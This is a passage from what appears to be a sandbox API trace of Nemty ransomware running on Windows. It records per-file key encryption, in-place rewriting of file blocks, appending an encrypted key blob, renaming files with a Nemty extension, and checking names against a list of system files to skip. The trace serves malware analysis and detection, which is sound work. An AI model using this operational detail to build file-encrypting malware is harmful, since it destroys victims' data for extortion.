dwHighDateTime=0x1d561e7)) [0049.933] GetLastError () returned 0x0 [0049.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.934] GetLastError () returned 0x0 [0049.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.934] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.934] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="tMXUydMDcSkmRT0Fmvx219ThJPa0ujrybvO77+Qr8bkZL/ngRauSdjf7IPL4pQNU\r\nhCQ1iS3WD+M+wkGNx47qaqf6lQddJnfcsFWOsujWVEmbXxLv54Lp8zQqAm1me8Pe\r\na4yv7TLPlW7b2+U5qepZ82wRrxlrog5dJPL1/53ivwRYoux1TL1ndeM8c+0A9S96\r\nzkqNAyTR7azz6JcFUmSIiL6bcPeYmiZVA1lSyQ0XtqTitCQEJ+VK5NgnLMn650Qw\r\nYfjSX01f8fo0VEiwu70PWfnsU6UnwNjDRZ8SDwhU8QU8QCsWBUgyZWVq01hxDrHY\r\nxG9cVt9Vp7x9R/u1KEdvFA==\r\n", pcchString=0x653ef9c) returned 1 [0049.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.934] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.935] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=10798080) returned 1 [0049.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0049.935] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=3799040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x39f800 [0049.935] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.948] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=3799040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x39f800 [0049.949] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.949] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=3959040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c6900 [0049.949] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.961] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=3959040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c6900 [0049.962] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.962] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4119040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3eda00 [0049.962] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.980] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4119040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3eda00 [0049.981] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.982] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4279040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x414b00 [0049.982] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.994] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4279040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x414b00 [0049.994] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.994] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4439040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43bc00 [0049.994] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.006] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4439040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43bc00 [0050.007] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.007] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4599040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x462d00 [0050.007] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.020] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4599040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x462d00 [0050.020] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.021] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4759040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x489e00 [0050.021] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.031] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4759040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x489e00 [0050.031] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.031] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4919040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b0f00 [0050.031] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.041] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4919040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b0f00 [0050.041] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.041] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5079040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4d8000 [0050.041] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.054] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5079040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4d8000 [0050.054] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.055] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5239040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ff100 [0050.055] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.073] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5239040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ff100 [0050.074] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.075] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.075] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0050.083] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.083] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0050.083] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=10695680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa33400 [0050.084] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0050.099] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=10695680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa33400 [0050.099] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0050.099] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=10798080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa4c400 [0050.099] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0050.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.099] CloseHandle (hObject=0x3c8) returned 1 [0050.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0050.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0050.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0050.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0050.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.471] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi._nemty_kgobjgd_")) returned 1 [0050.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0050.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0050.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0050.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0050.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0050.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0050.472] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".") returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="..") returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="...") returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="windows") returned -1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="$RECYCLE.BIN") returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="rsa") returned -1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="NTDETECT.COM") returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="ntldr") returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="MSDOS.SYS") returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="IO.SYS") returned 1 [0050.472] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="boot.ini") returned 1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="boot.ini") returned 1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="AUTOEXEC.BAT") returned 1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="ntuser.dat") returned 1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="desktop.ini") returned 1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="CONFIG.SYS") returned 1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="RECYCLER") returned -1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="BOOTSECT.BAK") returned 1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="bootmgr") returned 1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="programdata") returned -1 [0050.473] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="appdata") returned 1 [0050.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjProrWW.xml", lpUsedDefaultChar=0x0) returned 13 [0050.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjProrWW.xml", lpUsedDefaultChar=0x0) returned 13 [0050.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjProrWW.xml", lpUsedDefaultChar=0x0) returned 13 [0050.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjProrWW.xml", lpUsedDefaultChar=0x0) returned 13 [0050.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0050.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.473] Sleep (dwMilliseconds=0x5) [0050.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1c80d10, dwHighDateTime=0x1d561e7)) [0050.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1c80d10, dwHighDateTime=0x1d561e7)) [0050.531] GetLastError () returned 0x0 [0050.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.531] GetLastError () returned 0x0 [0050.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0050.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0050.531] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0050.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0050.531] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="7+TruSa3BqKOKdY2eLMh3S0kZwK0Xc5w6e78SK+tKqO9TTBnf+bA5veSw0u5uP2V\r\ncTHnoWzvvix7awsVfhp5+EQW9fPWiCIDRj5+TfqCu2JmUWqag+xJJTLiblqi0qc1\r\nmUWZeKdrkjQFFESZdtlxjRwBrbbtOCmlpeX2ArBxzY1VXzPQ4lZVzLl5DZldoIBF\r\nlsvqUN7Ropz/NtaUXmNm9N99P2kkcbJtJ7T4oRrYCl4/DaKQofndiPeeTwgDNF/1\r\nG5baKcjJa6VmEgBEwDQId2ojC40CZRX3WAPik1dRYunW5aRBWKq+JT2BqVUtB3SS\r\n3lNuVMq7NqiVtRdPdJlJ1A==\r\n", pcchString=0x653ef9c) returned 1 [0050.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0050.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0050.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0050.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0050.531] CreateFileW (lpFileName="C:\\MSOCache\\All 